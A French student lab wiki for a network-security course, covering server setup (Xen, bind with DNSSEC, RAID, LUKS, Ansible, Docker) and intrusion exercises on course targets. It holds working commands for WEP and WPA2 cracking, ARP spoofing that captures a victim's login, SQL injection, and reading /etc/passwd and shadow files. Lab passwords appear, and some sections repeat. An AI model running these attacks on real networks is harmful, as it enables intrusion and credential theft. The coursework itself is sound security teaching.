Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeurs en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:11:18Z

Psanchez : /* Configuration de nos serveurs internes */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
